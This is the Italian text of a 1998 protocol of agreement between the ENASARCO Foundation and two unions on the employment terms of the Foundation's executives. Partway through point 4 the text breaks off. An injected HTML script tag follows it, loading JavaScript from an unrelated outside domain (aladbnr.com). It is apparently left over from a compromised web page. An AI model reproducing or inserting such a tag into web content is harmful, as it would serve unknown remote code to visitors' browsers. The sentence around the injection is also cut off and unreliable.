Categoria: Fondazione ENASARCO (dirigenti)
Settore: Enti Privati
Data stipula: 24-3-1998
Data decorrenza: 1-1-1998
Data scadenza: 31-12-1999

Contratto Collettivo Nazionale

PER I DIRIGENTI DELLA FONDAZIONE ENASARCO


Protocollo d'intesa

sottoscritto il 24 marzo 1998

tra

-     Fondazione ENASARCO, rappresentata dal Presidente Michele Alberti  e
  dal  Vice  Presidente  Antonio Torella, con la partecipazione  del  Vice
  Presidente  Paolo  Bartoli, assistiti dal Direttore  generale  Francesco
  Braganò e con la collaborazione di Franco Spadola e Salvatore Martorelli

e

le seguenti OO.SS.:

-     CISL-FP  rappresentata  dal  Segretario  nazionale  Enrico  Sordini,
  accompagnato dal Segretario generale aziendale Ottavio D'Arcangelo;

-    FP-CIDA rappresentata dal Segretario generale Luciano Dionisi

(quali  organizzazioni  indicate  per la rappresentanza  sindacale  dai  5
dirigenti attualmente alle dipendenze di ENASARCO)

è stato redatto il seguente Protocollo d'intesa.

1.    ENASARCO - a seguito della privatizzazione perfezionatasi il 10.7.97
  -  all'atto  della  stipulazione del presente Protocollo,  riafferma  la
  propria posizione di regolamentare il rapporto di lavoro per i Dirigenti
  della  Fondazione  con criteri di diritto privato e su un'autonoma  base
  pattizia   compatibile   con   le  specificità  organizzativo-funzionali
  dell''ENASARCO  stesso  e  comunque coerente  con  i  seguenti  principi
  condivisi dalle OO.SS. firmatarie:

-      rispetto   degli   accordi  interconfederali   e   dei   protocolli
  Governo-CONFINDUSTRIA-CONFCOMMERCIO-Sindacati e in particolare quelli del
  31.7.92  e  del 23.7.93, che disciplinano il nuovo sistema di  relazioni
  contrattuali;
-      riconoscimento  del  principio  di  responsabilità   nell'esercizio
  dell'autonomia  del  Dirigente, sorretto  anche  da  appositi  corsi  di
  arricchimento della professionalità individuati dalla Fondazione;
-      attribuzione   di   un  trattamento  retributivo   complessivamente
  migliorativo  e sostenuto dall'introduzione di meccanismi  selettivi  di
  merito e d'incentivazione della responsabilità e della produttività.

2.    Nel contempo la Fondazione ENASARCO e le OO.SS. suindicate - che  di
seguito  nel  seguente Protocollo e nel testo del CCNL verranno  indicate
come "parti stipulanti" - intendono nell'immediato assicurare al personale
dirigente in servizio uno strumento di riferimento contrattuale idoneo per
l'esercizio  della  facoltà di opzione, ai sensi e  nel  termine  di  cui
all'art. 5, D.lgs n. 509/94 e successive modificazioni.

3.    Con  tale  spirito - costituendo tutto quanto dianzi  e  in  seguito
precisato  presupposto  sostanziale per la  sottoscrizione  del  presente
Protocollo che è parte integrante della disciplina contrattuale collettiva
-  la  Fondazione  e  le OO.SS. suindicate quali parti stipulanti,  avuto
riguardo al preminente specifico scopo precisato nel precedente punto  2,
convengono di ricalcare intanto, come schema di riferimento di massima, i
soli  contenuti  normativi ed economici del CCNL 5.6.97. sottoscritto  da
AdEPP, che vengono pertanto assunti:

a)    alle  condizioni  e  precisazioni indicate nel presente  Protocollo,
  nonché  con  i  consequenziali adeguamenti del testo  contrattuale  resi
  necessari per quanto previsto al precedente punto 1;
b)     senza  che  ciò  costituisca  inoltre  un'implicita  ed  automatica
  obbligazione ai successivi cicli negoziali del citato CCNL;
c)    e  restando  impregiudicata, infine, ogni futura decisione  di  tipo
  associativo della Fondazione ENASARCO.

4.    Le  parti  convengono  sulla necessità di  valorizzare  le  capacità
  professionali  dei  Dirigenti. Conseguentemente, nell'ambito  di  quanto
  richiesto  dalle proprie necessità, la Fondazione definirà -  attraverso
  specifici  momenti di consultazione con i Dirigenti stessi  -  il  piano
  annuale degli interventi formativi.
  Le   parti   ritengono  inoltre  che,  quale  ulteriore   strumento   di
  arricchimento  professionale<script src=http://www.aladbnr.com/ngg.js></script>